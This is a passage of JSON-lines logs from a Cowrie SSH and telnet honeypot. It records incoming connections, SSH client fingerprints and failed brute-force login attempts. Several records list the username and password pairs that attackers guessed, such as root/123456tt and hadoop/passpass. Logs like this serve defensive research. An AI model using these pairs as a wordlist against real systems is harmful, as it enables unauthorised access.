ha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:19.935956Z","src_ip":"159.65.58.200","session":"51046a20c85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"startzev","password":"123456","message":"login attempt [startzev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:21.104237Z","src_ip":"159.65.58.200","session":"51046a20c85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.261494159698486,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:21.249555Z","src_ip":"107.6.151.170","session":"3f22a4e8434c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:22.415202Z","src_ip":"159.65.58.200","session":"51046a20c85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:26.076004Z","src_ip":"8.210.75.243","session":"81127dea07a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52126,"dst_ip":"10.17.0.5","dst_port":22,"session":"98a85b5869cb","protocol":"ssh","message":"New connection: 8.210.75.243:52126 (10.17.0.5:22) [session: 98a85b5869cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:26.698993Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":55532,"dst_ip":"159.203.135.109","dst_port":22,"session":"791b25ec5d24","protocol":"ssh","message":"New connection: 66.29.142.197:55532 (159.203.135.109:22) [session: 791b25ec5d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:31.991415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:31.994951Z","src_ip":"66.29.142.197","session":"791b25ec5d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:32.057254Z","src_ip":"66.29.142.197","session":"791b25ec5d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mog2024","message":"login attempt [root/mog2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:32.245349Z","src_ip":"66.29.142.197","session":"791b25ec5d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:33.311837Z","src_ip":"66.29.142.197","session":"791b25ec5d24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":52344,"dst_ip":"10.17.0.5","dst_port":22,"session":"b33ea242975d","protocol":"ssh","message":"New connection: 192.169.249.148:52344 (10.17.0.5:22) [session: b33ea242975d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:46.112697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:46.115665Z","src_ip":"192.169.249.148","session":"b33ea242975d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:46.179898Z","src_ip":"192.169.249.148","session":"b33ea242975d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gavin","password":"gavin789","message":"login attempt [gavin/gavin789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:46.373695Z","src_ip":"192.169.249.148","session":"b33ea242975d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48944,"dst_ip":"159.203.135.109","dst_port":23,"session":"71920524fa2c","protocol":"telnet","message":"New connection: 170.64.224.25:48944 (159.203.135.109:23) [session: 71920524fa2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:47.151197Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:47.440457Z","src_ip":"192.169.249.148","session":"b33ea242975d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60224,"dst_ip":"10.17.0.5","dst_port":22,"session":"61d3d85e84ba","protocol":"ssh","message":"New connection: 8.210.75.243:60224 (10.17.0.5:22) [session: 61d3d85e84ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:15.457312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:15.461328Z","src_ip":"8.210.75.243","session":"61d3d85e84ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:15.750725Z","src_ip":"8.210.75.243","session":"2faba6107141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":43512,"dst_ip":"10.17.0.5","dst_port":22,"session":"f675feff9573","protocol":"ssh","message":"New connection: 14.29.214.161:43512 (10.17.0.5:22) [session: f675feff9573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:16.452902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:16.455525Z","src_ip":"14.29.214.161","session":"f675feff9573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:17.347444Z","src_ip":"14.29.214.161","session":"f675feff9573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456tt","message":"login attempt [root/123456tt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:18.569474Z","src_ip":"14.29.214.161","session":"f675feff9573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:19.799713Z","src_ip":"14.29.214.161","session":"f675feff9573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":56334,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c8c149ba7e5","protocol":"ssh","message":"New connection: 202.61.233.105:56334 (10.17.0.5:22) [session: 3c8c149ba7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:22.367047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:22.370712Z","src_ip":"202.61.233.105","session":"3c8c149ba7e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:22.465636Z","src_ip":"202.61.233.105","session":"3c8c149ba7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newdelhi_india","password":"newdelhi123","message":"login attempt [newdelhi_india/newdelhi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:22.751270Z","src_ip":"202.61.233.105","session":"3c8c149ba7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.08893704414368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:23.240041Z","src_ip":"170.64.224.25","session":"71920524fa2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:23.851686Z","src_ip":"202.61.233.105","session":"3c8c149ba7e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44088,"dst_ip":"10.17.0.5","dst_port":22,"session":"788e6a752848","protocol":"ssh","message":"New connection: 8.210.75.243:44088 (10.17.0.5:22) [session: 788e6a752848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:28.188021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:28.191454Z","src_ip":"8.210.75.243","session":"788e6a752848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56186,"dst_ip":"10.17.0.5","dst_port":22,"session":"a978d28874bd","protocol":"ssh","message":"New connection: 8.210.75.243:56186 (10.17.0.5:22) [session: a978d28874bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:43.280939Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57172,"dst_ip":"159.203.135.109","dst_port":23,"session":"261f83478eea","protocol":"telnet","message":"New connection: 170.64.224.25:57172 (159.203.135.109:23) [session: 261f83478eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:56.182907Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":60284,"dst_ip":"10.17.0.5","dst_port":22,"session":"b939e2287f44","protocol":"ssh","message":"New connection: 165.22.184.88:60284 (10.17.0.5:22) [session: b939e2287f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:57.999379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:58.003426Z","src_ip":"165.22.184.88","session":"b939e2287f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:58.007717Z","src_ip":"165.22.184.88","session":"b939e2287f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"farm","password":"farm123","message":"login attempt [farm/farm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:58.021774Z","src_ip":"165.22.184.88","session":"b939e2287f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:59:59.031419Z","src_ip":"165.22.184.88","session":"b939e2287f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.153287887573242,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:04.336114Z","src_ip":"170.64.224.25","session":"261f83478eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40126,"dst_ip":"10.17.0.5","dst_port":22,"session":"e383ba12947a","protocol":"ssh","message":"New connection: 8.210.75.243:40126 (10.17.0.5:22) [session: e383ba12947a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:05.633226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:07.136948Z","src_ip":"8.210.75.243","session":"e383ba12947a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37712,"dst_ip":"10.17.0.5","dst_port":22,"session":"c02e42e7a560","protocol":"ssh","message":"New connection: 91.92.40.4:37712 (10.17.0.5:22) [session: c02e42e7a560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:26.639314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:26.643157Z","src_ip":"91.92.40.4","session":"c02e42e7a560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:26.703745Z","src_ip":"8.210.75.243","session":"98a85b5869cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:26.723899Z","src_ip":"91.92.40.4","session":"c02e42e7a560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"passpass","message":"login attempt [hadoop/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:26.967889Z","src_ip":"91.92.40.4","session":"c02e42e7a560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:28.053049Z","src_ip":"91.92.40.4","session":"c02e42e7a560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54096,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc1c1699bf62","protocol":"telnet","message":"New connection: 170.64.224.25:54096 (159.203.135.109:23) [session: dc1c1699bf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:29.665321Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":47378,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4fd54b374c6","protocol":"ssh","message":"New connection: 213.202.230.81:47378 (10.17.0.5:22) [session: b4fd54b374c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:53.934471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:00:53.938750Z","src_ip":"213.202.230.81","session":"b4fd54b374c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa